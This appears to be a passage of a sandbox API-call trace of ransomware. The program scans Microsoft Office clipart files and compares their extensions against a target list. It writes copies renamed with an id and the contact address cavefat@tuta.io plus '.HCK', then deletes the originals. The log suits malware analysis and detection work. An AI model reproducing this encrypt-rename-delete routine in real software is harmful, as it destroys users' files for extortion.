[0237.375] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0237.375] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152568.WMF") returned 68 [0237.375] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152568.WMF") returned 68 [0237.375] lstrlenW (lpString=".doc") returned 4 [0237.375] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0237.375] lstrlenW (lpString=".docx") returned 5 [0237.375] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0237.375] lstrlenW (lpString=".pdf") returned 4 [0237.375] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0237.375] lstrlenW (lpString=".xls") returned 4 [0237.375] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0237.375] lstrlenW (lpString=".xlsx") returned 5 [0237.375] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0237.375] lstrlenW (lpString=".ppt") returned 4 [0237.375] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0237.375] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152568.WMF") returned 68 [0237.375] lstrlenW (lpString=".zip") returned 4 [0237.375] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0237.375] lstrlenW (lpString=".rar") returned 4 [0237.375] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0237.376] lstrlenW (lpString=".bz2") returned 4 [0237.376] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0237.376] lstrlenW (lpString=".7z") returned 3 [0237.376] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0237.376] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152568.WMF") returned 68 [0237.376] lstrlenW (lpString=".dbf") returned 4 [0237.376] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0237.376] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152568.WMF") returned 68 [0237.376] lstrlenW (lpString=".1cd") returned 4 [0237.376] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0237.376] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152568.WMF") returned 68 [0237.376] lstrlenW (lpString=".jpg") returned 4 [0237.376] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0237.376] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0237.376] lstrlenW (lpString="J0152628.WMF") returned 12 [0237.376] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152628.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152628.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x568 [0237.379] GetFileSizeEx (in: hFile=0x568, lpFileSize=0x321ff14 | out: lpFileSize=0x321ff14*=30812) returned 1 [0237.379] CloseHandle (hObject=0x568) returned 1 [0237.379] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152628.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152628.wmf")) returned 0x220 [0237.379] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152628.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152628.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0237.380] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152628.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152628.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x568 [0237.380] SetFilePointerEx (in: hFile=0x568, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec0 | out: lpNewFilePointer=0x0) returned 1 [0237.380] SetFilePointerEx (in: hFile=0x568, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec0 | out: lpNewFilePointer=0x0) returned 1 [0237.380] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152628.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152628.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c4 [0237.381] GetLastError () returned 0x0 [0237.381] ReadFile (in: hFile=0x568, lpBuffer=0x3cf4020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x321fecc, lpOverlapped=0x0 | out: lpBuffer=0x3cf4020*, lpNumberOfBytesRead=0x321fecc*=0x785c, lpOverlapped=0x0) returned 1 [0237.383] WriteFile (in: hFile=0x3c4, lpBuffer=0x3cf4020*, nNumberOfBytesToWrite=0x7860, lpNumberOfBytesWritten=0x321fc94, lpOverlapped=0x0 | out: lpBuffer=0x3cf4020*, lpNumberOfBytesWritten=0x321fc94*=0x7860, lpOverlapped=0x0) returned 1 [0237.384] ReadFile (in: hFile=0x568, lpBuffer=0x3cf4020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x321fecc, lpOverlapped=0x0 | out: lpBuffer=0x3cf4020*, lpNumberOfBytesRead=0x321fecc*=0x0, lpOverlapped=0x0) returned 1 [0237.384] WriteFile (in: hFile=0x3c4, lpBuffer=0x3cf4020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x321fc94, lpOverlapped=0x0 | out: lpBuffer=0x3cf4020*, lpNumberOfBytesWritten=0x321fc94*=0xec, lpOverlapped=0x0) returned 1 [0237.384] SetEndOfFile (hFile=0x3c4) returned 1 [0237.385] CloseHandle (hObject=0x3c4) returned 1 [0237.385] SetFilePointerEx (in: hFile=0x568, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec0 | out: lpNewFilePointer=0x0) returned 1 [0237.385] SetEndOfFile (hFile=0x568) returned 1 [0237.387] CloseHandle (hObject=0x568) returned 1 [0237.387] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152628.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0237.387] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152628.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152628.wmf")) returned 1 [0237.388] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152628.WMF") returned 68 [0237.388] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152628.WMF") returned 68 [0237.388] lstrlenW (lpString=".doc") returned 4 [0237.388] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0237.388] lstrlenW (lpString=".docx") returned 5 [0237.388] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0237.388] lstrlenW (lpString=".pdf") returned 4 [0237.388] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0237.388] lstrlenW (lpString=".xls") returned 4 [0237.388] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0237.388] lstrlenW (lpString=".xlsx") returned 5 [0237.388] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0237.389] lstrlenW (lpString=".ppt") returned 4 [0237.389] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0237.389] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152628.WMF") returned 68 [0237.389] lstrlenW (lpString=".zip") returned 4 [0237.389] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0237.389] lstrlenW (lpString=".rar") returned 4 [0237.389] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0237.389] lstrlenW (lpString=".bz2") returned 4 [0237.389] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0237.389] lstrlenW (lpString=".7z") returned 3 [0237.389] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0237.389] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152628.WMF") returned 68 [0237.389] lstrlenW (lpString=".dbf") returned 4 [0237.389] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0237.389] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152628.WMF") returned 68 [0237.389] lstrlenW (lpString=".1cd") returned 4 [0237.389] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0237.389] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152628.WMF") returned 68 [0237.389] lstrlenW (lpString=".jpg") returned 4 [0237.389] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0237.389] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152628.WMF") returned 68 [0237.389] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152628.WMF") returned 68 [0237.389] lstrlenW (lpString=".doc") returned 4 [0237.389] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0237.389] lstrlenW (lpString=".docx") returned 5 [0237.389] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0237.389] lstrlenW (lpString=".pdf") returned 4 [0237.389] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0237.389] lstrlenW (lpString=".xls") returned 4 [0237.389] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0237.389] lstrlenW (lpString=".xlsx") returned 5 [0237.389] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0237.389] lstrlenW (lpString=".ppt") returned 4 [0237.389] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0237.390] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152628.WMF") returned 68 [0237.390] lstrlenW (lpString=".zip") returned 4 [0237.390] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0237.390] lstrlenW (lpString=".rar") returned 4 [0237.390] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0237.390] lstrlenW (lpString=".bz2") returned 4 [0237.390] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0237.390] lstrlenW (lpString=".7z") returned 3 [0237.390] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0237.390] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152628.WMF") returned 68 [0237.390] lstrlenW (lpString=".dbf") returned 4 [0237.390] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0237.390] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152628.WMF") returned 68 [0237.390] lstrlenW (lpString=".1cd") returned 4 [0237.390] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0237.390] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152628.WMF") returned 68 [0237.390] lstrlenW (lpString=".jpg") returned 4 [0237.390] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0237.390] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0237.390] lstrlenW (lpString="J0152688.WMF") returned 12 [0237.390] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152688.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152688.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x568 [0237.391] GetFileSizeEx (in: hFile=0x568, lpFileSize=0x321ff14 | out: lpFileSize=0x321ff14*=34676) returned 1 [0237.391] CloseHandle (hObject=0x568) returned 1 [0237.394] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152688.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152688.wmf")) returned 0x220 [0237.394] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152688.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152688.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0237.395] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152688.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152688.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x568 [0237.395] SetFilePointerEx (in: hFile=0x568, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec0 | out: lpNewFilePointer=0x0) returned 1 [0237.395] SetFilePointerEx (in: hFile=0x568, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec0 | out: lpNewFilePointer=0x0) returned 1 [0237.395] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152688.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152688.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c4 [0237.396] GetLastError () returned 0x0 [0237.396] ReadFile (in: hFile=0x568, lpBuffer=0x3cf4020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x321fecc, lpOverlapped=0x0 | out: lpBuffer=0x3cf4020*, lpNumberOfBytesRead=0x321fecc*=0x8774, lpOverlapped=0x0) returned 1 [0237.398] WriteFile (in: hFile=0x3c4, lpBuffer=0x3cf4020*, nNumberOfBytesToWrite=0x8780, lpNumberOfBytesWritten=0x321fc94, lpOverlapped=0x0 | out: lpBuffer=0x3cf4020*, lpNumberOfBytesWritten=0x321fc94*=0x8780, lpOverlapped=0x0) returned 1 [0237.399] ReadFile (in: hFile=0x568, lpBuffer=0x3cf4020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x321fecc, lpOverlapped=0x0 | out: lpBuffer=0x3cf4020*, lpNumberOfBytesRead=0x321fecc*=0x0, lpOverlapped=0x0) returned 1 [0237.399] WriteFile (in: hFile=0x3c4, lpBuffer=0x3cf4020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x321fc94, lpOverlapped=0x0 | out: lpBuffer=0x3cf4020*, lpNumberOfBytesWritten=0x321fc94*=0xec, lpOverlapped=0x0) returned 1 [0237.399] SetEndOfFile (hFile=0x3c4) returned 1 [0237.399] CloseHandle (hObject=0x3c4) returned 1 [0237.400] SetFilePointerEx (in: hFile=0x568, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec0 | out: lpNewFilePointer=0x0) returned 1 [0237.400] SetEndOfFile (hFile=0x568) returned 1 [0237.402] CloseHandle (hObject=0x568) returned 1 [0237.402] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152688.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0237.402] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152688.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152688.wmf")) returned 1 [0237.403] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152688.WMF") returned 68 [0237.403] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152688.WMF") returned 68 [0237.403] lstrlenW (lpString=".doc") returned 4 [0237.403] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0237.403] lstrlenW (lpString=".docx") returned 5 [0237.403] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0237.403] lstrlenW (lpString=".pdf") returned 4 [0237.403] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0237.403] lstrlenW (lpString=".xls") returned 4 [0237.403] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0237.403] lstrlenW (lpString=".xlsx") returned 5 [0237.403] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0237.403] lstrlenW (lpString=".ppt") returned 4 [0237.403] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0237.404] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152688.WMF") returned 68 [0237.404] lstrlenW (lpString=".zip") returned 4 [0237.404] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0237.404] lstrlenW (lpString=".rar") returned 4 [0237.404] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0237.404] lstrlenW (lpString=".bz2") returned 4 [0237.404] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0237.404] lstrlenW (lpString=".7z") returned 3 [0237.404] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0237.404] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152688.WMF") returned 68 [0237.404] lstrlenW (lpString=".dbf") returned 4 [0237.404] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0237.404] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152688.WMF") returned 68 [0237.404] lstrlenW (lpString=".1cd") returned 4 [0237.404] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0237.404] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152688.WMF") returned 68 [0237.404] lstrlenW (lpString=".jpg") returned 4 [0237.404] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0237.404] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152688.WMF") returned 68 [0237.404] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152688.WMF") returned 68 [0237.404] lstrlenW (lpString=".doc") returned 4 [0237.404] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0237.404] lstrlenW (lpString=".docx") returned 5 [0237.404] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0237.404] lstrlenW (lpString=".pdf") returned 4 [0237.404] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0237.404] lstrlenW (lpString=".xls") returned 4 [0237.404] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0237.404] lstrlenW (lpString=".xlsx") returned 5 [0237.404] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0237.404] lstrlenW (lpString=".ppt") returned 4 [0237.404] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0237.404] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152688.WMF") returned 68 [0237.404] lstrlenW (lpString=".zip") returned 4 [0237.405] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0237.405] lstrlenW (lpString=".rar") returned 4 [0237.405] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0237.405] lstrlenW (lpString=".bz2") returned 4 [0237.405] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0237.405] lstrlenW (lpString=".7z") returned 3 [0237.405] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0237.405] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152688.WMF") returned 68 [0237.405] lstrlenW (lpString=".dbf") returned 4 [0237.405] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0237.405] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152688.WMF") returned 68 [0237.405] lstrlenW (lpString=".1cd") returned 4 [0237.405] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0237.405] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152688.WMF") returned 68 [0237.405] lstrlenW (lpString=".jpg") returned 4 [0237.405] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0237.405] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0237.405] lstrlenW (lpString="J0152690.WMF") returned 12 [0237.405] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152690.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152690.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x568 [0237.407] GetFileSizeEx (in: hFile=0x568, lpFileSize=0x321ff14 | out: lpFileSize=0x321ff14*=1268) returned 1 [0237.541] CloseHandle (hObject=0x568) returned 1 [0237.542] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152690.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152690.wmf")) returned 0x220 [0237.861] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152690.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152690.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0237.960] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152690.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152690.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x55c [0238.062] SetFilePointerEx (in: hFile=0x55c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec0 | out: lpNewFilePointer=0x0) returned 1 [0238.062] SetFilePointerEx (in: hFile=0x55c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec0 | out: lpNewFilePointer=0x0) returned 1 [0238.062] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152690.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152690.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0238.127] GetLastError () returned 0x0 [0238.127] ReadFile (in: hFile=0x55c, lpBuffer=0x3cf4020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x321fecc, lpOverlapped=0x0 | out: lpBuffer=0x3cf4020*, lpNumberOfBytesRead=0x321fecc*=0x4f4, lpOverlapped=0x0) returned 1 [0238.128] WriteFile (in: hFile=0x564, lpBuffer=0x3cf4020*, nNumberOfBytesToWrite=0x500, lpNumberOfBytesWritten=0x321fc94, lpOverlapped=0x0 | out: lpBuffer=0x3cf4020*, lpNumberOfBytesWritten=0x321fc94*=0x500, lpOverlapped=0x0) returned 1 [0238.129] ReadFile (in: hFile=0x55c, lpBuffer=0x3cf4020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x321fecc, lpOverlapped=0x0 | out: lpBuffer=0x3cf4020*, lpNumberOfBytesRead=0x321fecc*=0x0, lpOverlapped=0x0) returned 1 [0238.129] WriteFile (in: hFile=0x564, lpBuffer=0x3cf4020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x321fc94, lpOverlapped=0x0 | out: lpBuffer=0x3cf4020*, lpNumberOfBytesWritten=0x321fc94*=0xec, lpOverlapped=0x0) returned 1 [0238.129] SetEndOfFile (hFile=0x564) returned 1 [0238.129] CloseHandle (hObject=0x564) returned 1 [0238.130] SetFilePointerEx (in: hFile=0x55c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec0 | out: lpNewFilePointer=0x0) returned 1 [0238.130] SetEndOfFile (hFile=0x55c) returned 1 [0238.132] CloseHandle (hObject=0x55c) returned 1 [0238.132] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152690.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0238.132] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152690.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152690.wmf")) returned 1 [0238.133] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152690.WMF") returned 68 [0238.133] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152690.WMF") returned 68 [0238.133] lstrlenW (lpString=".doc") returned 4 [0238.133] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0238.133] lstrlenW (lpString=".docx") returned 5 [0238.133] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0238.133] lstrlenW (lpString=".pdf") returned 4 [0238.133] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0238.133] lstrlenW (lpString=".xls") returned 4 [0238.134] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0238.134] lstrlenW (lpString=".xlsx") returned 5 [0238.134] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0238.134] lstrlenW (lpString=".ppt") returned 4 [0238.134] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0238.134] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152690.WMF") returned 68 [0238.134] lstrlenW (lpString=".zip") returned 4 [0238.134] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0238.134] lstrlenW (lpString=".rar") returned 4 [0238.134] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0238.134] lstrlenW (lpString=".bz2") returned 4 [0238.134] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0238.134] lstrlenW (lpString=".7z") returned 3 [0238.134] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0238.134] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152690.WMF") returned 68 [0238.134] lstrlenW (lpString=".dbf") returned 4 [0238.134] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0238.134] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152690.WMF") returned 68 [0238.134] lstrlenW (lpString=".1cd") returned 4 [0238.134] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0238.134] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152690.WMF") returned 68 [0238.134] lstrlenW (lpString=".jpg") returned 4 [0238.134] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0238.134] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152690.WMF") returned 68 [0238.134] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152690.WMF") returned 68 [0238.134] lstrlenW (lpString=".doc") returned 4 [0238.134] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0238.134] lstrlenW (lpString=".docx") returned 5 [0238.134] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0238.134] lstrlenW (lpString=".pdf") returned 4 [0238.134] 